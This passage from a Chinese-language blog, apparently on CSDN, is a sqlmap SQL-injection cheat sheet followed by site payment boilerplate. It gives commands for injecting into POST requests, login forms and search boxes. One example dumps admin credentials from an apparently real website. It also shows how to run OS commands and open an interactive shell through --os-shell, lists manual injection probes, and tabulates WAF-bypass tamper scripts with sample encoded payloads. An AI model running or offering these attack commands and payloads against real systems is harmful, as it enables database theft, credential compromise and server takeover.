  25. sqlmap.py -u “存在注入的url,一般多用于后台” -- data=”抓到的post包的最后一行的内容” -p “指定post包里面的某一个参数”
  26. 方法三:
  27. 假设有个网站,url地址为:http: //www.127.0.0.1/base64?id=10
  28. 假如想测试这个页面是否有post注入
  29. 用这个方式:sqlmap.py -u “http: //www.127.0.0.1/base64” --data=”id=10” -f --banner --dbs
  30. 方法四:
  31. 自动注入方法
  32. sqlmap.py -u “http: //xxxxxx.com(cn/net/org)/login.asp(php,aspx,jsp等程序格式)” --forms
  33. 一般用于后台注入。
  34. POST登陆框注入
  35. 注入点:http: //xxx.xxx.com/Login.asp
  36. 注入方式一:
  37. 1.对着注入点使用burp抓包,保存txt格式文件。
  38. 2.输入命令:sqlmap.py -r search-test.txt -p tfUPass
  39. 注入方式二:自动搜索表单的方式
  40. sqlmap -u http: //www.xxx.com/Login.asp --forms
  41. 注入方式三:指定一个参数的方法
  42. sqlmap -u http: //www.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"
  43. 搜索框注入
  44. 搜索框注入感觉和post注入简直一模一样,只不过形式是注入搜索框而不是username或password。
  45. 方法一:
  46. sqlmap.py -u “http: //xxxxxx.com/search.php(asp,aspx,jsp)” --data=”抓包到的搜索框的信息” -p “指定搜索框里面的一个参数值”
  47. 搜索框注入手工判断:
  48. ' and 1=1 and '% '=' 返回所以结果
  49. ' and 1=2 and '% '=' 无返回结果
  50. ' and exists (select * from sysobjects) and '% '=' 返回正常 //最后一个针对于mssql数据库
  51. 系统对象表,针对于sql server(Mssql)数据库
  52. 一次sqlmap注入某注入点并且dump出账号密码全程
  53. 判断注入点:sqlmap.py -u “存在注入url”
  54. 例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --batch
  55. 爆出所有数据库名字:sqlmap.py -u “存在注入url” --dbs
  56. 例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --dbs
  57. --dump将结果导出。
  58. 例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D user -T admin -C ac,id,password --dump


7 .执行shell命令:


 
 
  1. sqlmap.py -u "url" --os-cmd= "net user" /*执行net user命令*/
  2. sqlmap.py -u "url" --os-shell /*系统交互的shell*/


8.注入HTTP请求 :

sqlmap.py -r xxx.txt --dbs       /*xxx.txt内容为HTTP请求*/
 
 


9.绕过WAF的tamper插件使用:

sqlmap 的 tamper目录下有用于绕过waf的脚本(KALI目录位置:/usr/share/sqlmap/tamper/ )。

如果找不到所在位置,可以使用 find 查找:find / -type d -name "sqlmap" -print


 
 
  1. sqlmap.py -u "url" --tamper "xxx.py"
  2. sqlmap.py -u "url" --tamper= "xxx.py"
  3. 关于tamper脚本详细说明在本博客中有,链接为:http: //www.matsec.cn/?id=5

如何使用SQLMap绕过WAF:http://www.freebuf.com/articles/1000.html

绕过WAF、安全狗知识整理:http://blog.csdn.net/hxsstar/article/details/24771085

tamper 一些脚本说明 ( http://blog.csdn.net/hxsstar/article/details/22782627 ):

支持的数据库

编号

脚本名称

作用

实现方式

all

1

apostrophemask.py

用utf8代替引号

("1 AND '1'='1") 
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 

2

base64encode.py 

用base64编码替换

("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='

3

multiplespaces.py

围绕SQL关键字添加多个空格

('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'

4

space2plus.py

用+替换空格

('SELECT id FROM users')
'SELECT+id+FROM+users'

5

nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 
suitable for替代(例如  .replace(“SELECT”、”")) filters

('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'

6

space2randomblank.py

代替空格字符(“”)从一个随机的空
白字符可选字符的有效集

('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'

7

unionalltounion.py

替换UNION ALL SELECT UNION SELECT

('-1 UNION ALL SELECT')
'-1 UNION SELECT'

8

securesphere.py

追加特制的字符串

('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"

mssql

1

space2hash.py

绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释一个随机字符串和一个新行(’ n’)

'1 AND 9227=9227' 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 

2

equaltolike.py

like 代替等号

* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 

3

space2mssqlblank.py(mssql)

空格替换为其它空符号

Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers

4

space2mssqlhash.py

替换空格

('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'

5

between.py

用between替换大于号(>)

('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

6

percentage.py

asp允许每个字符前面添加一个%号

* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

7

sp_password.py

追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'

8

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

9

randomcase.py

随机大小写

* Input: INSERT
* Output: InsERt

10

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

11

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

mysql >= 5.1.13

1

equaltolike.py

like 代替等号


* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 

2

greatest.py

绕过过滤’>’ ,用GREATEST替换大于号。

('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

3

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'

4

ifnull2ifisnull.py

绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'

5

space2mssqlhash.py

替换空格

('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'

6

modsecurityversioned.py

过滤空格,包含完整的查询版本注释

('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'

7

space2mysqlblank.py

空格替换其它空白符号(mysql)

Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users

8

between.py

用between替换大于号(>)

('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

9

modsecurityzeroversioned.py

包含了完整的查询与零版本注释

('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'

10

space2mysqldash.py

替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'

11

bluecoat.py

代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like

('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'

12

percentage.py

asp允许每个字符前面添加一个%号

* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

13

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

14

randomcase.py

随机大小写

* Input: INSERT
* Output: InsERt

15

versionedkeywords.py

Encloses each non-function keyword with versioned MySQL comment

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

16

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

17

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

18

versionedmorekeywords.py

注释绕过

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

MySQL < 5.1

19

halfversionedmorekeywords.py

关键字前加注释

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

20

halfversionedmorekeywords.py

当数据库为mysql时绕过防火墙,每个关键字之前添加
mysql版本评论

1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CU

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值